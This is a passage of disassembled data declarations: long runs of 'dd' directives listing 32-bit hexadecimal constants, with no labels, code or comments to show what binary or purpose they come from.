		dd 8E6E10h, 0C512923Bh,	1058AEEh, 7A7C5A01h, 51AAD267h
		dd 1E84AE4h, 78557258h,	91DC813Dh, 2D802189h, 5CD1A890h
		dd 8877F043h, 9004248Dh, 0D4E1A89Eh, 2F370052h,	0E6C5393Fh
		dd 732DDF00h, 7093AF3Ch, 68976361h, 406456A8h, 30601C70h
		dd 0D168AB90h, 63913868h, 90278800h, 491E9C76h,	75E93E03h
		dd 575C77h, 7E687A21h, 4F5812CFh, 4B25CB00h, 0E77D943h
		dd 0CD2D03ECh, 4EE2EEB9h, 5E48311Dh, 77309C06h,	2A980E11h
		dd 4100A632h, 10F94D0Fh, 216C08CDh, 0ADC823F9h,	0B12103A1h
		dd 2C57EED4h, 0D8598990h, 0D2685803h, 8EDDFD45h, 9F60C868h
		dd 0A53229C1h, 0B0E39C1h, 80322235h, 4B1FBA5Eh,	3899F8EBh
		dd 5F8ACBA0h, 21D49D01h, 1862D19Ch, 30D4000Ah, 337FB656h
		dd 4701F337h, 590495E5h, 0D8EB5772h, 0E09AF9C4h, 821B0056h
		dd 0D2B38709h, 0EA3A78CFh, 3C6B0092h, 31936C6Fh, 445A0079h
		dd 17D94B0Bh, 38076541h, 0CCE266ADh, 8319E7B0h,	9FE900B3h
		dd 0C94A5BF1h, 9B2CCEA7h, 4B001B38h, 3C667C3Dh,	47330763h
		dd 0E0279117h, 0C4520D6Ah, 0E464180Fh, 7B110054h, 2458C88Fh
		dd 0FD0BFDh, 4A3D33A2h,	0B200165Ch, 0D7CDBFFFh,	20C605h
		dd 2EECAA1h, 64F16794h,	264B5402h, 9C5B69ECh, 2CB10004h
		dd 1B39FEDh, 0E1F8557Ah, 0E3DA7203h, 0F84B6981h, 143DDECh
		dd 1AF4BB76h, 806E09DFh, 77EE6540h, 46FFC34h, 2201C3D0h
		dd 3C098049h, 6A1C7E82h
		dd 20B0C826h, 14FE9A5Bh, 20DE8AB9h, 181EF0E1h, 5FFE10E2h
		dd 26710353h, 5A51BAh, 2A803BB9h, 0F7AD3C4h, 6ADC6E12h
		dd 2141FE0Ch, 2B780099h, 0A2354D6Ch, 63719A54h,	2EF42918h
		dd 19D92F9h, 8E8B07D9h,	0ECB20E7Fh, 360051C6h, 0A40CEAEEh
		dd 0E7847AAh, 4E6A55A9h, 839CC2EAh, 3CAFFE63h, 0B1779807h
		dd 1C89619h, 437B5AD3h,	8911806Dh, 0F2B9E980h, 0F04A0C6Eh
		dd 830896EAh, 88AE21C0h, 0D231E9h, 53BC7763h, 74CAD8D3h
		dd 7035DE0Ch, 3AF2299Ah, 790247BFh, 6617B155h, 0C91F3463h
		dd 9980958Dh, 44E07A2Dh, 0EACE2805h, 0C7E61CD5h, 6F45CD28h
		dd 89A5E849h, 0EA234100h, 0CC1F05D0h, 28C8CE31h, 2D0AD4Ah
		dd 3A4E71ECh, 0D4B08480h, 734855B3h, 8BC40004h,	0BADBBFFBh
		dd 0B61800D2h, 0E24A56EAh, 8F021F11h, 0E8969C1h, 0C94A0EBh
		dd 18119C4h, 2A36BD64h,	0D137AD6Dh, 0AA2180F4h,	1FFF1ABBh
		dd 726A0FC1h, 0AC35F665h, 0B1DBDE06h, 0BC837886h, 0C92C21ADh
		dd 0E564F819h, 0AFF3448Ch, 1E19C007h, 0E01FC39Ah, 0E0CD9E34h
		dd 647C3Ah, 0D0EE696Bh,	0D46FFBABh, 8A60BDE8h, 641E6368h
		dd 0F681C549h, 23682BC2h, 8B4100F9h, 8530F070h,	0F78A6600h
		dd 0C7A7F540h, 0AFE0A0F4h, 4DFE2871h, 925274B0h, 0CAF058h
		dd 80D1D695h, 7C53A273h, 2842AC01h, 0F7EF2E6Bh,	908A9980h
		dd 29F3BAEBh, 46EC40h, 0AF842CB5h, 0A7578DA8h, 4108B066h
		dd 0BD670021h, 0B714822Ch, 6EE6DF55h, 0A64DC609h, 4F6818EDh
		dd 34F48053h, 541139CCh, 899200EEh, 0C45044C1h,	8850ABDDh
		dd 3F26BFB5h, 8E1D1802h, 1F809C0h, 334FB92h, 26EAADC8h
		dd 60B8504Ah, 0FE14ED79h, 0A0EC45EFh, 149E78BEh, 0C862B6F8h
		dd 49EE2A73h, 1E8546F8h, 644819C8h, 40FFC4DDh, 7A19BFAEh
		dd 0EBC2090Bh, 78106735h, 8F31C7F4h, 3C25A806h,	0F7D3B88Ah
		dd 71B300C4h, 0EE39984Fh, 0D01D9CF6h, 841C6077h, 0DFD7F2C7h
		dd 600E28CCh, 0BB1569E4h, 0E10E18CBh, 0C29178F2h, 60ECD1CFh
		dd 80331F64h, 0C100807Ch, 57257189h, 932CA3FEh,	88ED9FB0h
		dd 6A1833D2h, 70D830A9h, 0CC4482B3h, 18B9F481h,	2BE6B8B4h
		dd 11F4B0AFh, 0BC660040h, 0A146802Ch, 0B5C13001h, 44775AECh
		dd 848F4899h, 8EF2A4E9h, 0AA208262h, 0FA2BE98Ch, 1E0C012Dh
		dd 99ABD255h, 45D84188h, 8029BF7Dh, 0D16AAEAFh,	0CE3CBEh
		dd 9054D7B2h, 2F339AC2h, 397AE406h, 310CD0h, 0B2C99D69h
		dd 99A9419Ch, 802C6E28h, 0DFAC30F9h, 0C37C4588h, 89ADA531h
		dd 36D15E88h, 632F0A01h, 3051BCE5h, 6967FE4h, 0B271B1CBh
		dd 0E8C44853h, 7E30437Dh, 0F221B7E9h, 86B0C05Eh, 641E69E9h
		dd 0A8802FC5h, 9E95FCDCh, 6299168Fh, 0BC380849h, 0C22A7EC0h
		dd 106A21D3h, 9B004891h, 68012B76h, 0D1C3E70Fh,	7DB3263h
		dd 0A53D31E0h, 0CC7E702Ch, 335094E6h, 4B42D684h, 0C1C1AB1Ah
		dd 608C8084h, 108019C3h, 0C837B564h, 0BA80BBF2h, 3205F51Ah
		dd 0D309B64Bh, 202DF3EEh, 0E7DFB00Ch, 2FB80165h, 51AC14E3h
		dd 0F4C0248Dh, 6F8F0900h, 96E987E0h, 4ACC1295h,	0B3E041A9h
		dd 3690CBB0h, 0B809F3ECh, 26627FBh, 0A80C536Dh,	0E7309D22h
		dd 0C4E54828h, 7D7F310h, 57F504E9h, 0C111C06Ah,	0C72A8380h
		dd 0F4392D3h, 981E4522h, 0EF412A7Bh, 6C1EE5FBh,	18D26C64h
		dd 7087B9DBh, 0DC001B7Ch, 4EBBBC76h, 23CE57h, 0C1B27063h
		dd 0E69B3CAh, 27C84850h, 3C0AE39h, 0D1BBD48Ah, 7D403D89h
		dd 0AC2BF215h, 6B5FED00h, 27CEEB5Eh, 0B20976FEh, 900F8AC3h
		dd 724D618h, 1A4D081Bh,	8E7DE46Ch, 0C17D88C8h, 3156D3F9h
		dd 29809108h, 2CB74601h, 36D8AF7Eh, 163A2208h, 802CBF6Dh
		dd 1205EADCh, 0A06AAF04h, 6CC0F08Bh, 16BC387h, 0D042637Eh
		dd 0C46DF6D1h, 9C162437h, 540E482Bh, 6809B03Ah,	9CACFBA8h
		dd 0F343BC88h, 0A30B32Ch, 4444B8AFh, 0BB805C42h, 0FF0E0F2Ch
		dd 0DB1B00E1h, 86FEA0BCh, 0FD008E94h, 9E790973h, 5451CD1Eh
		dd 56AE84Ch, 4BF8F078h,	2341C02Bh, 9700FA0Bh, 0C23A95B1h
		dd 0B1E30F1Bh, 80A61C00h, 0DBC3E22Ah, 0EE7470C4h, 21D40F73h
		dd 583D1F09h, 807D0200h, 0C04951BBh, 127CF969h,	2E00D275h
		dd 5DC6CBC4h, 187965Bh,	0EA7F0317h, 0C21EEDB1h,	8081C0C8h
		dd 23505649h, 2A7F01BDh, 3372D3C3h, 779C8110h, 35E0752Bh
		dd 0C107E962h, 292CD878h, 92810AC4h, 0E900B856h, 2663DCE4h
		dd 64464808h, 89F984h, 0B11EE8EBh, 6015EA3Ch, 79AF411Fh
		dd 30814D8Ah, 0B00C2420h, 0E6861430h, 0DA0354F3h, 43B5FBE3h
		dd 0D778780Bh, 2904A137h, 0F857CA81h, 0BE4F15D0h, 0EFFCF562h
		dd 8F710197h, 0BBD1C9CFh, 0CE898011h, 2E87E1F4h, 185774B1h
		dd 705ACADFh, 888A54F1h, 651E5CA0h, 8004BBCh, 0BEA1B17Ch
		dd 0F470C058h, 81A841D7h, 5C5E557Ch, 0C2266CB8h, 0A701DC3Ch
		dd 3E0EC59Fh, 6FD8F2BAh, 55C90EAh, 3FF70480h, 0ABA84E47h
		dd 651C84F5h, 1827DA06h, 3000ACE4h, 0BBB53ED2h,	3DB4103Dh
		dd 0C7816C87h, 7D6D01BCh, 759120AFh, 0ED3DB114h, 0E8884098h
		dd 0A45953h, 0CB545630h, 38A76CD8h, 0AB14D54Eh,	2A00D0BDh
		dd 2675D2CEh, 6B28FE65h, 0FF454C55h, 30888002h,	841119C7h
		dd 0F288D564h, 19BEB180h, 9C7A32h, 0BB63830Ah, 65E86DD4h
		dd 83FB58C8h, 4FE3EF1Dh, 0E4207060h, 4C35E7C9h,	0CF804C68h
		dd 0CB4844A0h, 51DB290Ah, 0B404E09Ah, 94D281BBh, 46BCC42Dh
		dd 0E97D027Ch, 3166F2B6h, 85AF107Fh, 0D68000E9h, 1F1A7CA2h
		dd 0AC924DDCh, 8C457624h, 37551440h, 7470EE16h,	1E6D79B9h
		dd 0E675654Fh, 0F2BF0840h, 0CEC1B664h, 4036E0AFh, 6C013B22h
		dd 148C2CBEh, 87FCF4BBh, 18B4B803h, 71774484h, 690097DAh
		dd 142F75Fh, 16DDD44Eh,	4AF5370h, 0B47E9158h, 3040C810h
		dd 0E3950273h, 0E20F9B5Ch, 0B0686B20h, 3B6A00C0h, 9C276652h
		dd 10055ADCh, 0AC1942D9h, 44769804h, 0B4E98330h, 5496F22Eh
		dd 8BA970h, 0E3B4ABE9h,	51E4442Dh, 0C8C5DB2Ah, 101E5726h
		dd 0BF480449h, 0C92A8560h, 16A2D327h, 7D960390h, 0E2A9432Ah
		dd 89BFD980h, 8C1F041Eh, 0A67B50B0h, 5A11092Ch,	0C031ABh
		dd 0B0B68CDh, 0A62681B2h, 5A9215Ch, 0E3F9D269h,	10E8C129h
		dd 9804046Ah, 0FCA44D70h, 45994069h, 9F397160h,	128C8A7Eh
		dd 82E96B1Dh, 5C015398h, 0E987BDDBh, 832A2963h,	10736BADh
		dd 3BD02618h, 649B5B28h, 0E1BB4AE4h, 82E0F890h,	38D98B76h
		dd 9034F050h, 0AFA371h,	0A2BFF6B8h, 25557B93h, 82C53B17h
		dd 5AFEC804h, 0BC3D6743h, 43203C8Dh, 0AF04A146h, 43E0681h
		dd 0ECC9CF78h, 66F7FC40h, 0F4A40014h, 4F6C8D1Ah, 18984125h
		dd 2CB1E505h, 0A4415253h, 81B76819h, 0D79FD43Dh, 233C4B20h
		dd 7B405F80h, 1DFCDDCEh, 43A6AD0Fh, 58C30082h, 171EA73h
		dd 21CDFA32h, 0D4FE86FDh, 0E1026E19h, 0B591F018h, 0D46340E4h
		dd 112A0093h, 723E039Fh, 0DF3C17C2h, 0B9AF0328h, 0D899BD24h
		dd 1E190Dh, 0F7F95329h,	1463BB6h, 7FA29D00h, 7E4E358Ch
		dd 82D9000Ah, 4CF6D5D6h, 31006B80h, 0CE6D0BCCh,	4DD40ABh
		dd 259B93A5h, 0AB80FFA1h, 940F49h, 0BD69B821h, 4612D2E4h
		dd 0F5D8421Eh, 17007A7Ch, 0C2A44E48h, 3A408510h, 0B2BB8257h
		dd 87A17200h, 0EE139946h, 0D674E700h, 2CDACB2Eh, 52F0003h
		dd 0EAE9D728h, 58013209h, 689CC2B9h, 9EF0190Ch,	146E03A1h
		dd 0EBBF0216h, 0B0689DDAh
		dd 13003F62h, 35D86659h, 1824CA70h, 1175EA20h, 180023CDh
		dd 0C0ABA438h, 1462250h, 8A746909h, 80B3905Ch, 0BE140C78h
		dd 806B20FCh, 0FB00E7B1h, 2CF69725h, 0FF37A5FEh, 6007EC52h
		dd 0CFDC0EA8h, 2803260h, 0D624E2EAh, 1ADBCD00h,	397599E4h
		dd 9650005Ah, 0B20F3AB9h, 1E0E4EC6h, 0C08BF82Eh, 75339E1Bh
		dd 8F2207B7h, 0C06D62F3h, 1D42C8DAh, 0C648C400h, 1CA4198h
		dd 0AB231DD8h, 8557C14Fh, 0C0CDAF09h, 0EB005073h, 0C7B3545Eh
		dd 0A0B634h, 0C30608DDh, 4F62D190h, 0A57C59F4h,	1BF46700h
		dd 61177036h, 0EF75001Ch, 0ADFA050Eh, 0FC00823Ch, 7A01A732h
		dd 281DDFAFh, 18C514Dh,	1AC9B0F4h, 0D8119941h, 26028C40h
		dd 685CE875h, 0C3084194h, 4C4EEEE0h, 59091161h,	68A0DD41h
		dd 0CD2B06A0h, 7B678901h, 0A481E09Bh, 1D077CECh, 0F4A647h
		dd 83D75AC5h, 5C000308h, 26BF91DDh, 47C844h, 79C2190Fh
		dd 0E759369Ah, 10DDCC1Ch, 0F2DB2880h, 0F16D05Ah, 309172B8h
		dd 8B35C900h, 0D7C6B9Ah, 82B43307h, 0E5109470h,	9005D2h
		dd 4B5BF376h, 0A83B29D4h, 9BDFE8A8h, 0BB655D00h, 3FD17942h
		dd 33E4259Ch, 0C9005A74h, 55B12D57h, 3BA600D6h,	401D6284h
		dd 9A14DC3Ah, 9CF81560h, 885F28CCh, 573F9h, 212B4146h
		dd 9A521DEFh, 0DDEAA300h, 4E64A4F4h, 2F0E00BDh,	0E2D839B3h
		dd 3C90C522h, 20274326h, 0E5199880h, 52E2BB5h, 3058544h
		dd 809C1D5Ah, 0C6FB066Bh, 94000EE5h, 115136Dh, 1117293h
		dd 0C7397FDh, 24678E4Ch, 0D00D998h, 0DEA95D57h,	22BDD09h
		dd 85A3283Ah, 9448FB70h, 7B002157h, 939D6EC0h, 4BAF8Bh
		dd 98A2E316h, 50230C6Fh, 2D178F01h, 0E4BAD058h,	49D4E1E5h
		dd 38310080h, 1F9E1C0Ah, 5500D9FDh, 4BFFA0F9h, 3150FDDh
		dd 5BBE3AA7h, 0CDF0E516h, 0B1000847h, 1CC7FACEh, 0B781A9h
		dd 90A2C63Bh, 3AA48E44h, 6D73BA00h, 4FF3EA70h, 18090069h
		dd 2AA24271h, 6E0007EFh, 0ABE34CD6h, 31ECDh, 4614B6A7h
		dd 0EDFE0B6Dh, 5F6220E4h, 40F20FB8h, 0F7B29F3h,	0E552A98Dh
		dd 90DC8965h, 9FC58578h, 0F93B3Bh, 0FF2A25B7h, 10EE9Ah
		dd 0A5A12DAAh, 0DD8DDF2Eh, 47BBF100h, 0EBC7A631h, 0CCFD12C5h
		dd 0FA8303B8h, 18033085h, 0F10A93DDh, 0C0115A7Eh, 0AB22C128h
		dd 78336E03h, 0D864851Bh, 16BC2EECh, 0A0E5EBh, 4AADE62Ch
		dd 9D0FA562h, 402326B6h, 883A2E1Bh, 92803A74h, 0FA0ABF00h
		dd 56438C4h, 0EAE41C1Ch, 0A8289F80h, 0E54675h, 2154C2B0h
		dd 8792E91Fh, 996A7101h, 0B9CA5F62h, 2114C64h, 0A9F2E77Fh
		dd 40FF94h, 5A1701F0h, 7D00140Fh, 8C876558h, 7B4F0138h
		dd 434ED1F7h, 145A2091h, 5C18AD77h, 0F226AE3Bh,	394B0049h
		dd 0B19B28A9h, 0B36035F6h, 0EBD6C918h, 0E6CB0463h, 83C05ACCh
		dd 0E0A2F634h, 74A3AEE2h, 0FCE8611Ch, 0C6003726h, 412F865Fh
		dd 0FD28C5h, 0F6931EC2h, 0A6D4079h, 441E9971h, 0E40025A5h
		dd 65639688h, 32C00002h, 0FDA96D69h, 0AF38D93Ch, 358D00CEh
		dd 6580E0FEh, 727D76h, 2524B88Eh, 0ADA13721h, 2804C30Eh
		dd 0ED584019h, 5618BCh,	77EA8809h, 9FC942D7h, 7D806200h
		dd 3F69BA32h, 345300BCh, 25E6C1ABh, 2A006DADh, 21B5EC76h
		dd 0B0ED8D38h, 0A2701C06h, 8208003Ch, 7DEC958Ah, 6678B000h
		dd 0CDCB3593h, 72AC0EA1h, 73401B48h, 0D021C192h, 9AD4BE00h
		dd 6E433861h, 0CFD21E8Ch, 0A29E4096h, 2B148052h, 0BC15A100h
		dd 0FBE5200Dh, 95C405FDh, 843C60AEh, 93808044h,	0D8028A4Fh
		dd 0F2BBEEDDh, 447040ECh, 0FDC600A8h, 17D060F7h, 0BFE5CC2h
		dd 0A51B58C0h, 0FEF4DC7h, 85BD20CBh, 0A6DA3FA0h, 0D0001D94h
		dd 9197D524h, 86A1C7h, 0FB6FBC5Dh, 107CFCA8h, 5E1DC300h
		dd 49B860B9h, 0E3DF0084h, 55F9CB76h, 9099DC6Fh,	1E853B03h
		dd 2263A850h, 44A701AAh, 0EBC6C97Fh, 0C2D4Bh, 28D6B691h
		dd 2B318A6h, 19D0BF89h,	40C09B44h, 0B900C48Eh, 16A42912h
		dd 90B627BDh, 0A7353F4Bh, 0BA0080DCh, 9E2B10B3h, 0D02BEACh
		dd 0DC4B6579h, 7B0850E8h, 57272E26h, 183487D4h,	4A46D0B6h
		dd 292ED1B8h, 0D4032CA3h, 0A0BC102Ah, 0A12B6D08h, 0F0EDDA18h
		dd 2E74F208h, 8763C401h, 56F4EE3Eh, 172D6BF0h, 808B8E57h
		dd 378D6568h, 7CF0A93Ah, 22BC830Ch, 15C5153h, 18F2BA0Fh
		dd 0FCC3FDB0h, 8E0208B1h, 0EB4FAF86h, 265CD215h, 57A2FA9h
		dd 87C61062h, 0DBC241B1h, 456C40EAh, 1E0035A6h,	4C44C557h
		dd 1749BCAh, 42C29FDEh,	0DC2EEB2Ch, 0CB01CD06h,	32E08859h
		dd 28EC4D8Dh, 6D600086h, 0BA452AB3h, 38018EB7h,	49E6DE72h
		dd 98FCFFBDh, 16800DAh,	636C9C99h, 0F5000E90h, 4B882F6Dh
		dd 0E6594FA9h, 0D4440095h, 6F43B4D1h, 0BDF2DE8Fh, 470AA100h
		dd 9B8096BEh, 7F55037Eh, 0E1A0653h, 0C9BFC1B0h,	8E457913h
		dd 447A5047h, 0C514EB1Bh, 5215046Eh, 6300A098h,	0BB807BFCh
		dd 661C9D0Eh, 83CFED5Dh, 98D81CC2h, 7331FAh, 3CE10D3Ah
		dd 598D3EC7h, 0D821AE00h, 0A4F5D22Fh, 14710008h, 0DE516B53h
		dd 721F3E0Eh, 3F9D682h,	0ED7B396Ch, 15C6B84Ch, 0C4F000FEh
		dd 5279FCD1h, 7F008FD0h, 1F113B30h, 5C38EF0Ah, 16018CB9h
		dd 4BF76440h, 0D4E86479h, 7CFB6600h, 0FF4D1E6Fh, 83BD1609h
		dd 30D44010h, 0C4489BE6h, 0CC1A513Eh, 65930096h, 0B18B3920h
		dd 1C280627h, 51D1040Fh, 135C6C73h, 2672050Ch, 88C3B4B9h
		dd 0EDA1B01Bh, 5F985Bh,	0D4364010h, 71585DF1h, 0F006CC0Bh
		dd 297603C9h, 9481EE6h,	0EED113B0h, 6E92A600h, 738962DEh
		dd 0FF590034h, 31BFF2B6h, 830042D4h, 272CDFD8h,	1813BEB1h
		dd 0C0CC68E2h, 0C80B5EEBh, 87F17DC0h, 80685DC4h, 6A649B81h
		dd 822E47BCh, 3039A4CCh, 2914F953h, 80AA0EA0h, 60C9D51Dh
		dd 7C1D8452h, 0A780619Bh, 887FCBA1h, 62640797h,	70C0BAA4h
		dd 5C688085h, 0B3C1A201h, 0F5D2E30h, 9E48E0h, 7A9267E0h
		dd 0B6D586FFh, 87324500h, 0BBF61A61h, 39D400CFh, 93ACC93Eh
		dd 2AF42694h, 1D00E8FCh, 87F62079h, 174148C7h, 60BF1F23h
		dd 2C7F7464h, 0ED0B3D00h, 0C912977Eh, 92DC0A1Fh, 0DCA23Eh
		dd 236496CEh, 0F502814Ch, 159CC359h, 6C5898h, 7B6E3F2Ah
		dd 9E0D4AACh, 0E3A7F905h, 6490361Bh, 3452F26h, 2ACC25BBh
		dd 0EBD0F64Eh, 181E3AA5h, 0D8408EEFh, 9F7EFA61h, 30DB00DEh
		dd 0A98591D1h, 0EC1D0F36h, 0E017B39Bh, 1780200h, 1A3AD4Dh
		dd 0E26343CBh, 0F8501FFFh, 0D8076BBBh, 0B8597109h, 17EC41F9h
		dd 8FC030h, 0BCFB1B6Ah,	0D12FDADDh, 0A9004490h,	8E3F6E78h
		dd 2121F04h, 97EA0EDCh,	2448477Ch, 9BFE95E3h, 806E3E3Dh
		dd 259E046h, 2AE48387h,	2F858CAh, 0D4E3BEF8h, 6448CE05h
		dd 0B4184084h, 8F11AC28h, 615F0096h, 0E87CABFFh, 91FE500Fh
		dd 0CD301A3Ah, 0B9A30004h, 6AF6BB32h, 4B73EFh, 277A4901h
		dd 8DABD358h, 4518D8B0h, 9779BB30h, 9F6F0260h, 82D727A2h
		dd 11C0E8C4h, 0DB422581h, 7DAB3EA0h, 0FE008459h, 3656067Eh
		dd 8CF0294Ah, 4360182Ch, 0EDC6803Bh, 59A48578h,	0EE447h
		dd 222041ADh, 0DD68F5CFh, 1FB6E300h, 97E610BAh,	187FE77h
		dd 114EB09Ch, 0CCC0F709h, 0A91FA834h, 78750FAh,	84D0D6BCh
		dd 896365h, 738F5D8Ah, 485BFE18h, 0F40B6B00h, 0C11A72DAh
		dd 17990145h, 9EDE3D90h, 5548209Ch, 4740A894h, 0FA45D72h
		dd 15FDC5F3h, 3B746100h
		dd 0BB8F2C8h, 0A94E6806h, 76040DAh, 0E2939279h,	132910CFh
		dd 0EA17D006h, 940041A9h, 126B37D8h, 75D70E7Fh,	19E9177h
		dd 5EC3EBDh, 6311C008h,	0E83C807Fh, 8DDE80FBh, 0D823DDD6h
		dd 0A25B3991h, 87DB111Ch, 82D1A678h, 0F4494B98h, 3D7A20ADh
		dd 0D5B9720Ah, 0C100A034h, 3AFAD9D4h, 0B2670038h, 8049B151h
		dd 61394B75h, 4D6083AFh, 0C3029436h, 39D1F8E9h,	0B0779FBh
		dd 0B3CBD553h, 0C0AA9887h, 0E345FDE0h, 0F4325Dh, 6F6C741Bh
		dd 5CF6EBh, 8C93B023h, 3C4590C7h, 0AFAA8500h, 3BD2FE10h
		dd 8AD40075h, 0E948DFB0h, 1B000741h, 62575EDEh,	143CCE5Fh
		dd 9C9F802Dh, 0A6E6438Eh, 54A1F423h, 0A7C828ABh, 34DF0DF0h
		dd 6711C0C2h, 776F4C6Ah, 0A3D96209h, 0F358214Fh, 0B7F146BDh
		dd 0A0067C64h, 3DA94h, 1FAB338Eh, 8DDF757Ch, 5E93BF06h
		dd 0C87BE9h, 6B9BAF49h,	2097EC1Ah, 2EEE400h, 6A39F0DAh
		dd 0BFB21E2Ah, 0B6FAC04Ch, 0FC4BE3EDh, 0D731A800h, 71D99452h
		dd 0E6441CBFh, 63EC00Bh, 8A9B01AEh, 4A639C07h, 0FED03275h
		dd 74876CFFh, 20CE00EFh, 289B27B4h, 0BA003A76h,	0E8E21C05h
		dd 0A06DBC26h, 0ED5681h, 0B56A0902h, 39677641h,	19BE9400h
		dd 0F5D68762h, 0F28F1724h, 3BEC0007h, 4FCEA9Ah,	925A2800h
		dd 34F15246h, 70B600CAh, 0E43D47C9h, 2A601138h,	13EF4D70h
		dd 8124916Ah, 0CF1B04D9h, 5960F4D5h, 760330F4h,	0C93937A2h
		dd 0AA4AB858h, 0E1100033h, 3CBC9AD1h, 0C31DC50Bh, 0FD80A0A1h
		dd 1CB2766Dh, 7737061h,	9C529378h, 0F27E3037h, 0F40068A7h
		dd 80CA5675h, 0E11BB4h,	2C1EFBCCh, 47701A9Fh, 3EC0F607h
		dd 0C7301927h, 1F5F8B0h, 0C3145B4Dh, 0C4E4601Fh, 84000436h
		dd 4046E76Bh, 0AE5577h,	6AD3E5C0h, 3F71AF0Fh, 0E1AB3E03h
		dd 83F6C10Dh, 482FB0EBh, 2849A4Fh, 960C852Dh, 0C440502Eh
		dd 8912F0F3h, 0B48A2980h, 95FF8FF0h, 75007894h,	0E4C58E37h
		dd 0A510C85Ah, 216CC10Ch, 0E5F095h, 83367E18h, 2F3A23B9h
		dd 590B5Ch, 102B6DF8h, 0DC6893h, 3081E8DBh, 41054597h
		dd 5F0075ECh, 0EB0E1C48h, 0A5EDEAh, 0A77836B3h,	81574947h
		dd 0EE25E37Ch, 10B0482Ah, 0E8DC788Eh, 0B8926Eh,	0F012D9C6h
		dd 924A46F2h, 6A876CBCh, 80DBAFF1h, 0BB1052DCh,	6D0712D4h
		dd 0E700C82Ah, 0F4014E81h, 0F2BAD01Eh, 2AA7F814h, 18007130h
		dd 377D6F2Bh, 0DA4482h,	3D571E3Ah, 0C8C3DE79h, 7D60C894h
		dd 3C8774h, 272F4073h, 60F1354Dh, 0EBFF8200h, 0CA92449h
		dd 33B3015Ah, 94AC8E51h, 2250F025h, 0A43A753Fh,	1800A991h
		dd 8630A1A6h, 5D16002Ch, 396A49CBh, 1B03898Ah, 0D193612Ah
		dd 59DBA082h, 0F0FC0077h, 0B50A27E5h, 31005A9Bh, 0D4305004h
		dd 681479h, 8EC58797h, 9C35AFBBh, 442B4301h, 61460932h
		dd 77482F0h, 367F3476h,	1D0881B4h, 7844D843h, 0FC0E84A8h
		dd 0F39D3200h, 9E9729A6h, 2D401292h, 6EA8B030h,	2372388h
		dd 82AA077Ch, 0ECE8E50Fh, 0D40E4349h, 1301564h,	19EAB414h
		dd 2081D371h, 80C52CA7h, 0E594F076h, 23B03Eh, 2E6C4427h
		dd 7CD8596h, 47A819F4h,	0F205B020h, 2FF009F3h, 6C8780Bh
		dd 0F73300DEh, 3BA2586Dh, 4E93F43Eh, 4504A4B4h,	9BA17460h
		dd 660539h, 88D1B719h, 18B006AAh, 0FADB9D00h, 2AE4E96Dh
		dd 1757716Bh, 0EB24B1h,	0DE688D7Bh, 19747135h, 514A257Fh
		dd 664EB0D0h, 6E61580Bh, 0EA7E13h, 843197E6h, 62030216h
		dd 88AA199h, 8F8EF86Dh,	78275F6h, 2BA27547h, 0E2998090h
		dd 0F301FC80h, 8D13D279h, 0A9E07F78h, 0BD435C54h, 0F8A45503h
		dd 8764D0Ah, 5CCC21C0h,	0FAF942h, 9074A15h, 3E6F8205h
		dd 0EC89EB07h, 0B993CF8Fh, 0FC85B9ABh, 92383FEBh, 0F768480Ch
		dd 65985C11h, 0CD70D803h, 3079842Dh, 3C21E409h,	3100CCD9h
		dd 126019A0h, 1B6879h, 0EBDFDB6Bh, 0BA89070Bh, 99F3E503h
		dd 0E1FBE98Ah, 71808371h, 584C1E9Fh, 0AD388808h, 838338Dh
		dd 0C5210395h, 516C4C25h, 0BE8E72A1h, 637E03D8h, 0D0186D40h
		dd 1B7941AEh, 0C8B6C115h, 145C023h, 70D9CCE2h, 39000ED5h
		dd 85C4CCDAh, 2C60011Ah, 0B1157740h, 6F50C0BAh,	3C746549h
		dd 0E8F03E00h, 0BB3DF229h, 0F3A20092h, 321C9A70h, 41093536h
		dd 8029D37Ah, 91F13E5Dh, 0B44A003Ch, 16B37F73h,	4800CF70h
		dd 4FC471DAh, 3D2E8980h, 0F607750Ah, 0A104BFE8h, 0A84BD18Bh
		dd 0EC006D62h, 0DF29FF59h, 98DB18h, 0E7D5149Ah,	79CCA3CAh
		dd 958A7D00h, 51A4EA69h, 6C47001Ah, 0DE3139B8h,	0D9F4FD0Eh
		dd 7D19DC5Ch, 0AD3ABF7Bh, 0B487002Eh, 9EC6E10Dh, 634B06A3h
		dd 8FBACB9h, 6B213B60h,	29C6EAh, 357E66A0h, 0B777BD74h
		dd 9434A400h, 60B93DCCh, 0AF44304Eh, 703BEA18h,	38FD840h
		dd 1DBF2C9Dh, 86D37AB4h, 67C02DA3h, 0E170ED94h,	0BB094006h
		dd 30087808h, 4220B573h, 8406ED9Ch, 9E4C4580h, 0E4241071h
		dd 39C20465h, 2D0D9CECh, 889730A9h, 8A206D60h, 3170CE8h
		dd 0C1D8B778h, 0AF80FDF4h, 2D0C2A81h, 39B29FEFh, 7B7500D4h
		dd 1B694A2Fh, 9CC3184h,	77421DFh, 86A47B7Dh, 207070A2h
		dd 49E0E95Dh, 77B38415h, 488A06A8h, 700FE4h, 0A79E7FA6h
		dd 0F957F5BEh, 0F78B6800h, 0A25399E2h, 2388002Dh, 5DB903C4h
		dd 31046F0Fh, 6A7C9C90h, 491DF5ACh, 4FF40063h, 0D0288CA7h
		dd 9CCE2F1Eh, 6752EE40h, 58E3A4h, 0EF695FF6h, 0BC176C97h
		dd 74D4F800h, 0C763DA71h, 6BE8005Eh, 1CE45C89h,	3079D6Ah
		dd 0EFB0D112h, 0B5991620h, 68EB0049h, 747AC6D8h, 0CC2E70ACh
		dd 8C00ADBCh, 8905E7EDh, 0F41B6F1h, 1DE241h, 1FB0FD99h
		dd 9E004BF9h, 707E9306h, 0C2FF3685h, 807FE118h,	2DE9B600h
		dd 33BF0EDFh, 79A14B65h, 80FCB056h, 51926D81h, 0C06195E2h
		dd 5E88350h, 60F1393h, 98D15AEh, 60CF8F59h, 7F5EB581h
		dd 85160014h, 11AF9144h, 0B21D952Fh, 0CF000B4Eh, 335C49F3h
		dd 94D80090h, 0BA233DAAh, 0B00F648Eh, 7817011Dh, 1D72A8B1h
		dd 983529C5h, 6016D092h, 0E911ED00h, 98EB442Fh,	0F883E7C1h
		dd 7370743Fh, 0A1B3114h, 17680060h, 8EEE88C1h, 0FFAD0397h
		dd 0FE7C9181h, 0CB0E2000h, 0FC8915A7h, 98BA30ABh, 34705C68h
		dd 0E05ACC03h, 80AC0D5Eh, 2450D093h, 0C12135h, 7D586632h
		dd 0B107751Eh, 3E2B4E6Bh, 63C1D760h, 90F30E83h,	9580281Dh
		dd 9C77ACDAh, 8F6A0200h, 1054F731h, 0FCC1035Bh,	0FA7832A6h
		dd 191DE0C7h, 0AD03590Bh, 0C2478F66h, 0B3C0E5ECh, 6036AE96h
